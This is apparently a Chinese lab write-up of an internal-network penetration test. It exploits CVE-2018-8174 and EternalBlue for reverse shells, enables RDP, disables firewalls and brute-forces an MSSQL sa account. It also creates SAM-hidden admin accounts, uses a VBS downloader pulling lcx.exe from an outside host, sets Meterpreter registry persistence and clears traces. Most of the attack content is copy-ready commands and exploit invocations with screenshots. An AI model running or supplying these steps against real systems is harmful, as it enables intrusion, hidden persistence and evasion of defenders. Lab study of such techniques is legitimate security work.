&lt;ul&gt;
  &lt;li&gt;A: 自动启动Payload程序&lt;/li&gt;
  &lt;li&gt;S: 系统启动时自动加载&lt;/li&gt;
  &lt;li&gt;U: 用户登录时自动启动&lt;/li&gt;
  &lt;li&gt;X: 开机时自动加载&lt;/li&gt;
  &lt;li&gt;i: 回连的时间间隔&lt;/li&gt;
  &lt;li&gt;P: 监听反向连接端口号&lt;/li&gt;
  &lt;li&gt;r: 目标机器IP地址&lt;/li&gt;
&lt;/ul&gt;

&lt;h1 id=&quot;环境搭建&quot;&gt;环境搭建&lt;/h1&gt;
&lt;h2 id=&quot;拓扑图&quot;&gt;拓扑图&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;http://ww4.sinaimg.cn/large/006tNc79ly1g4keti974lj30sw0cigm1.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;h2 id=&quot;win-server-2008-对windows-7开启1433端口&quot;&gt;Win server 2008 对Windows 7开启1433端口&lt;/h2&gt;

&lt;ol&gt;
  &lt;li&gt;
    &lt;p&gt;选择“打开或者关闭Windows防火墙”把防火墙打开，然后选择“高级设置”，选择“创建规则”来指定端口。&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;在“入站规则”里选择刚才创建的规则，名称是“1433”，如下图所示
&lt;img src=&quot;http://ww3.sinaimg.cn/large/006tNc79ly1g4keu4pyvbj30jp0g3glj.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;在属性对话框中，选择“远程IP地址”时，使用Windows7 的IP地址：172.20.10.177，配置完成后，Win server 2008 对Windows7成功开启1433端口
&lt;img src=&quot;http://ww4.sinaimg.cn/large/006tNc79ly1g4keuhxo76j30ga0f20su.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
  &lt;/li&gt;
&lt;/ol&gt;

&lt;h1 id=&quot;内网攻击过程&quot;&gt;内网攻击过程&lt;/h1&gt;
&lt;h2 id=&quot;1号机获得2号机的权限&quot;&gt;1号机获得2号机的权限&lt;/h2&gt;
&lt;h3 id=&quot;利用cve-2018-8174漏洞获取2号机windows-7权限添加攻击者用户&quot;&gt;利用CVE-2018-8174漏洞获取2号机(Windows 7)权限，添加攻击者用户&lt;/h3&gt;

&lt;ol&gt;
  &lt;li&gt;
    &lt;p&gt;从github上克隆CVE-2018-8174的EXP到Kali Linux  &lt;br /&gt;
 &lt;code class=&quot;highlighter-rouge&quot;&gt;git clone https://github.com/iBearcat/CVE-2018-8174_EXP.git&lt;/code&gt;
&lt;img src=&quot;http://ww1.sinaimg.cn/large/006tNc79ly1g4kevk9rwyj30ix0360su.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;生成恶意html和rtf文件
&lt;code class=&quot;highlighter-rouge&quot;&gt;cd CVE-2018-8174_EXP/&lt;/code&gt;&lt;/p&gt;
  &lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;python CVE-2018-8174.py -u http://192.168.114.130/exploit.html -o exploit.rtf -i 192.168.114.130 -p 4444&lt;/code&gt;
&lt;img src=&quot;http://ww4.sinaimg.cn/large/006tNc79ly1g4kewqucnij30ka040mxb.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;
    &lt;p&gt;将恶意html文件移动到网站根目录，启动apache2服务
&lt;code class=&quot;highlighter-rouge&quot;&gt;cp exploit.html /var/www/html/&lt;/code&gt;
&lt;code class=&quot;highlighter-rouge&quot;&gt;service apache2 start&lt;/code&gt;
&lt;img src=&quot;http://ww3.sinaimg.cn/large/006tNc79ly1g4kex3gmd9j30i6020glj.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;新打开一个终端，生成MSF监听
    &lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;msfconsole -x &quot;use exploit/multi/handler; set PAYLOAD Windows/shell/reverse_tcp; set LHOST 192.168.114.130; set lport 4444; run&quot;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;    &lt;/div&gt;
    &lt;p&gt;&lt;img src=&quot;http://ww3.sinaimg.cn/large/006tNc79ly1g4kexf5b9qj30kb0dut9b.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;受害者点击恶意链接&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;img src=&quot;http://ww4.sinaimg.cn/large/006tNc79ly1g4key50mn4j30p60fa0t2.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;在kali里接收到了shell，可在meterpreter中管理shell
发现非管理员权限&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;img src=&quot;http://ww2.sinaimg.cn/large/006tNc79ly1g4kezlqn4jj30kj0dtjs6.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;http://ww2.sinaimg.cn/large/006tNc79ly1g4kf0bahk0j30n80ebmy2.jpg&quot; alt=&quot;非管理员权限&quot; /&gt;&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;使用MS17-010模块进行提权
&lt;code class=&quot;highlighter-rouge&quot;&gt;use auxiliary/scanner/smb/smb_ms17_010&lt;/code&gt;
&lt;img src=&quot;http://ww4.sinaimg.cn/large/006tNc79ly1g4kf0y4dmej30iv01bgli.jpg&quot; alt=&quot;使用ms17-010模块&quot; /&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;在运行该模块之前，需要设置相关选项，我们使用show options查看配置信息&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;http://ww4.sinaimg.cn/large/006tNc79ly1g4kf24u3k0j30m2081t96.jpg&quot; alt=&quot;show options&quot; /&gt;&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;需要设置目标地址，设置命令：&lt;code class=&quot;highlighter-rouge&quot;&gt;set RHOSTS 192.168.114.138&lt;/code&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;img src=&quot;https://upload-images.jianshu.io/upload_images/7216746-5c2132e1f6057474.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;9.设置完成后，执行run或exploit命令，等待执行结果，发现存在永恒之蓝漏洞
&lt;img src=&quot;https://upload-images.jianshu.io/upload_images/7216746-c863abe6f822f57e.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;10.使用漏洞利用模块&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;use exploit/Windows/smb/ms17_010_eternalblue&lt;/code&gt;
&lt;img src=&quot;https://upload-images.jianshu.io/upload_images/7216746-b5da81f9ba784923.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;11.查看配置信息，并设置标记为yes的属性,&lt;code class=&quot;highlighter-rouge&quot;&gt;show options&lt;/code&gt;,目标机host	地址:192.168.114.138,&lt;code class=&quot;highlighter-rouge&quot;&gt;set RHOST 192.168.114.138&lt;/code&gt;
&lt;img src=&quot;https://upload-images.jianshu.io/upload_images/7216746-8108fffa5655699a.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;选择载荷payload，也就是shellcode,此处我们选择回连至控制端	shell的payload&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;set payload  Windows/x64/meterpreter/reverse_tcp&lt;/code&gt;
&lt;img src=&quot;https://upload-images.jianshu.io/upload_images/7216746-94b7ac7fd10bbafc.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;同样，载荷也需要进行配置，show options查看配置信息
配置中缺少本地主机 LHOST，设置一下&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;set LHOST 192.168.114.130&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://upload-images.jianshu.io/upload_images/7216746-f92afef3933d1668.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://upload-images.jianshu.io/upload_images/7216746-a8bdd852963a3221.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;
    &lt;p&gt;完成配置后，运行exploit或者run,开始执行漏洞利用模块
成功获取来自目标主机的Session会话
&lt;img src=&quot;https://upload-images.jianshu.io/upload_images/7216746-ef0f781940289b67.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;查看受害者机器相关信息
&lt;img src=&quot;https://upload-images.jianshu.io/upload_images/7216746-30582f706031fa0e.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
  &lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;15.成功使用MS17010获得系统权限&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://upload-images.jianshu.io/upload_images/7216746-ae1b1f4c1f161dfe.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;发现未开启3389端口
&lt;img src=&quot;https://upload-images.jianshu.io/upload_images/7216746-730f0208daa220a3.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240&quot; alt=&quot;&quot; /&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;17.添加3389入站规则&lt;/p&gt;
&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;netsh advfirewall firewall add rule name=&quot;Remote Desktop&quot; protocol=TCP 	dir=in localport=3389 action=allow
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;&lt;img src=&quot;https://upload-images.jianshu.io/upload_images/7216746-16ecfd2c2b0b968a.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;开启3389端口
    &lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal&quot; &quot;Server 	/v fDenyTSConnections /t REG_DWORD /d 0 /f
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;    &lt;/div&gt;
  &lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;img src=&quot;https://upload-images.jianshu.io/upload_images/7216746-aebecfc092ff753d.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;
    &lt;p&gt;成功打开3389端口
&lt;img src=&quot;https://upload-images.jianshu.io/upload_images/7216746-990ee071c3b394bc.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;创建管理员用户Waldo&lt;/p&gt;
  &lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;net user Waldo 123456hhhh. /add&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;net localgroup administrators Waldo /add&lt;/code&gt;
&lt;img src=&quot;https://upload-images.jianshu.io/upload_images/7216746-147ac94ad48c391c.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;使用Waldo账户远程登录
&lt;code class=&quot;highlighter-rouge&quot;&gt;portfwd add -l 3389 -L 127.0.0.1 -p 3389 -r 192.168.114.138&lt;/code&gt;
&lt;img src=&quot;https://upload-images.jianshu.io/upload_images/7216746-67015e3cdf761f86.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240&quot; alt=&quot;&quot; /&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;rdesktop  127.0.0.1 -u Waldo -p 123456hhhh.&lt;/code&gt;
&lt;img src=&quot;https://upload-images.jianshu.io/upload_images/7216746-ed54dca58f51c87b.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;h3 id=&quot;添加超级隐藏管理员账户&quot;&gt;添加超级隐藏管理员账户&lt;/h3&gt;

&lt;p&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;net user test$ 123456 /add&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;net localgroup administrators test$ /add&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://upload-images.jianshu.io/upload_images/7216746-bad28f2c69bfe940.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;但在管理账户面板依然能够看见，下面要解决这个问题
&lt;img src=&quot;https://upload-images.jianshu.io/upload_images/7216746-d1a120b5c4daeab2.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;在注册表&lt;code class=&quot;highlighter-rouge&quot;&gt;HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\Names&lt;/code&gt;下找	到新建的帐户test$&lt;/p&gt;

&lt;p&gt;获取默认类型为0x3ec，将注册表&lt;code class=&quot;highlighter-rouge&quot;&gt;HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\Names\test$&lt;/code&gt;导出为1.reg&lt;/p&gt;

&lt;p&gt;在注册表下能够找到对应类型名称的注册表项	&lt;code class=&quot;highlighter-rouge&quot;&gt;HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\000003EC&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://upload-images.jianshu.io/upload_images/7216746-083b6081dc7dd0be.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;右键将该键导出为2.reg，保存的文件信息如下图&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://upload-images.jianshu.io/upload_images/7216746-716b0a3accb2a79e.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240&quot; alt=&quot;42.png&quot; /&gt;&lt;/p&gt;

&lt;p&gt;默认情况下，管理员帐户Administrator对应的注册表键值为&lt;code class=&quot;highlighter-rouge&quot;&gt;HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\000001F4&lt;/code&gt;
同样，右键将该键导出为3.reg&lt;/p&gt;

&lt;p&gt;将注册表项&lt;code class=&quot;highlighter-rouge&quot;&gt;HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\000003EA&lt;/code&gt;下键&lt;code class=&quot;highlighter-rouge&quot;&gt;F&lt;/code&gt;的值替换为&lt;code class=&quot;highlighter-rouge&quot;&gt;HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\000001F4&lt;/code&gt;下键&lt;code class=&quot;highlighter-rouge&quot;&gt;F&lt;/code&gt;的值，即2.reg中键&lt;code class=&quot;highlighter-rouge&quot;&gt;F&lt;/code&gt;的值替换成3.reg中键&lt;code class=&quot;highlighter-rouge&quot;&gt;F&lt;/code&gt;的值&lt;/p&gt;

&lt;p&gt;替换后，如图&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://upload-images.jianshu.io/upload_images/7216746-2dd0a6a251f1e286.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;命令行删除特殊账户: &lt;code class=&quot;highlighter-rouge&quot;&gt;net user test$ /del&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;导入reg文件:&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;regedit /s 1.reg&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;regedit /s 2.reg&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;隐藏账户制做完成，控制面板不存在帐户test$&lt;/p&gt;

&lt;p&gt;通过net user无法列出该帐户
计算机管理-本地用户和组-用户也无法列出该帐户
但可通过如下方式查看: &lt;code class=&quot;highlighter-rouge&quot;&gt;net user test$&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://upload-images.jianshu.io/upload_images/7216746-d859c1e608417eca.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;命令窗口打开后，键入&lt;code class=&quot;highlighter-rouge&quot;&gt; net user test$/active:yes&lt;/code&gt;。输完后按一下回车键看到“命令成功完成”信息即表明超级隐藏账户test$ 账户已启用&lt;/p&gt;

&lt;p&gt;端口转发:
&lt;code class=&quot;highlighter-rouge&quot;&gt;portfwd add -l 3389 -L 127.0.0.1 -p 3389 -r 192.168.114.138&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;使用超级隐藏账户登录:
&lt;code class=&quot;highlighter-rouge&quot;&gt;rdesktop 127.0.0.1 -u test$ -p 123456&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://upload-images.jianshu.io/upload_images/7216746-820af844be54e563.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Windows 不会显示隐藏账户&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://upload-images.jianshu.io/upload_images/7216746-67ce675d571402e8.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;h3 id=&quot;使用vbs脚本上传sqltoolsexe&quot;&gt;使用vbs脚本上传SQLTOOLS.exe&lt;/h3&gt;

&lt;p&gt;脚本如下:&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;url = &quot;http://wjs001.cn/lcx.exe&quot;    '网络上的文件地址
saveas = &quot;c:\lcx.exe&quot;                '保存成的本地文件

Set xmlhttp = CreateObject(&quot;Microsoft.XMLHTTP&quot;) '创建HTTP请求对象
Set stream = CreateObject(&quot;ADODB.Stream&quot;)       '创建ADO数据流对象

Call xmlhttp.open(&quot;GET&quot;,url,False)'打开连接
Call xmlhttp.send()'发送请求

stream.mode = 3 '设置数据流为读写模式
stream.type = 1     '设置数据流为二进制模式
Call stream.open()'打开数据流
Call stream.write(xmlhttp.responsebody)'将服务器的返回报文主体内容写入数据流
Call stream.savetofile(saveas,2)'将数据流保存为文件

'释放对象
Set xmlhttp = Nothing
Set stream = Nothing
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;在shell下，创建文件夹: &lt;code class=&quot;highlighter-rouge&quot;&gt;mkdir C:\\hack\\&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;将脚本上传到创建好的名为hack的文件夹下:&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;meterpreter &amp;gt; upload /root/down1.vps  C:\\hack&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://upload-images.jianshu.io/upload_images/7216746-912e95d214764f11.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;查看C:\hack确认上传成功:
&lt;img src=&quot;https://upload-images.jianshu.io/upload_images/7216746-96f99182fd8b4bb4.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;运行cscript down1.vbs，上传SQLTOOLS软件:
&lt;img src=&quot;https://upload-images.jianshu.io/upload_images/7216746-bbda43568421924f.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;Kali对Windows 7(192.168.114.138)的权限维持见**权限维持**模块&lt;/code&gt;&lt;/p&gt;

&lt;h2 id=&quot;从windows-7进攻windows-server-2008&quot;&gt;从Windows 7进攻Windows server 2008&lt;/h2&gt;
&lt;h3 id=&quot;对windws-server-2008的sa账户进行爆破&quot;&gt;对Windws server 2008的sa账户进行爆破&lt;/h3&gt;

&lt;ol&gt;
  &lt;li&gt;使用nmap扫描发现172.20.10.208开了1433端口&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;nmap -p1433 --open 172.20.10.0/24&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://upload-images.jianshu.io/upload_images/7216746-7e73464c4cce2f11.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;使用ms-sql-brute模块对Win server 2008的sa账户进行爆破，获得用户名为sa，密码为123456&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;name.txt和password.txt是爆破用的字典&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;nmap -p 1433 --script ms-sql-brute --script-args userdb=C:\Users\Waldo\Desktop\name.txt,passdb=C:\Users\Waldo\Desktop\password.txt 172.20.10.208
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;img src=&quot;https://upload-images.jianshu.io/upload_images/7216746-21df0b8e26c6adcb.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;h3 id=&quot;利用sqltoos获取win-server-2008-的权限&quot;&gt;利用sqltoos获取Win server 2008 的权限&lt;/h3&gt;
&lt;ol&gt;
  &lt;li&gt;
    &lt;p&gt;使用sqltools进行sql连接
&lt;img src=&quot;https://upload-images.jianshu.io/upload_images/7216746-5fe67b406e11d798.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;用xp_cmdshell关闭防火墙限制&lt;/p&gt;
  &lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;netsh firewall set opmode mode=disable&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://upload-images.jianshu.io/upload_images/7216746-c8f05deaa0cf63d8.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;添加3389入站规则
    &lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;netsh advfirewall firewall add rule name=&quot;Remote Desktop&quot; protocol=TCP dir=in localport=3389 action=allow
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;    &lt;/div&gt;
  &lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;img src=&quot;https://upload-images.jianshu.io/upload_images/7216746-7fa509b4aa442d3d.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;4.开启3389端口&lt;/p&gt;
&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal&quot; &quot;Server /v fDenyTSConnections /t REG_DWORD /d 0 /f
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;img src=&quot;https://upload-images.jianshu.io/upload_images/7216746-7df8730b339086ed.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240&quot; alt=&quot;开启3389端口&quot; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://upload-images.jianshu.io/upload_images/7216746-17e8924991433b5f.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;创建管理员用户Waldo6TEST&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;net user Waldo2008 1234567hhhh. /add&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;net localgroup administrators Waldo2008 /add&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://upload-images.jianshu.io/upload_images/7216746-19585f7491aa71cf.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240&quot; alt=&quot;添加用户Waldo2008&quot; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://upload-images.jianshu.io/upload_images/7216746-ad18201950d51119.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240&quot; alt=&quot; Waldo2008拥有管理员权限&quot; /&gt;&lt;/p&gt;

&lt;h3 id=&quot;windows-7中远程登录win-server-2008&quot;&gt;Windows 7中远程登录Win server 2008&lt;/h3&gt;
&lt;ol&gt;
  &lt;li&gt;在Windows 7 使用用户名Wado2008T 密码1234567hhhh.成功登陆Win server 2008&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;img src=&quot;https://upload-images.jianshu.io/upload_images/7216746-ebddf88b162eb18b.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;h1 id=&quot;权限维持kali到windows7&quot;&gt;权限维持(Kali到Windows7)&lt;/h1&gt;

&lt;p&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;run persistence -X -i 5 -p 1121 -r 192.168.114.130&lt;/code&gt;，这里在Meterpreter会话中运行persistence后渗透攻击模块，在目标主机的注册表&lt;code class=&quot;highlighter-rouge&quot;&gt;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run&lt;/code&gt;添加下图中倒数第一个[*]，达到自启动的目的，-X参数指定启动的方式为开机自启动，-i参数指定反向连接的时间间隔
&lt;img src=&quot;https://upload-images.jianshu.io/upload_images/7216746-40604e1f22a600da.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;然后建立Meterpreter的客户端，在指定回来的1121端口进行监听，待Windows 7(192.168.114.138)，等待后门重新连接，具体操作命令如下:&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;msfconsole 
use exploit/multi/handler
set PAYLOAD Windows/meterpreter/reverse_tcp
set LHOST 192.168.114.130
set lport 1121
run
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;&lt;img src=&quot;https://upload-images.jianshu.io/upload_images/7216746-c416a86b4fd92520.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;h1 id=&quot;痕迹清除&quot;&gt;痕迹清除&lt;/h1&gt;
&lt;h2 id=&quot;使用清除远程连接历史记录的bat脚本&quot;&gt;使用清除远程连接历史记录的BAT脚本&lt;/h2&gt;

&lt;p&gt;&lt;img src=&quot;https://upload-images.jianshu.io/upload_images/7216746-e9fd82cc946bf77a.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://upload-images.jianshu.io/upload_images/7216746-29fec4dae0e72b64.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://upload-images.jianshu.io/upload_images/7216746-942e70f35de41fac.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

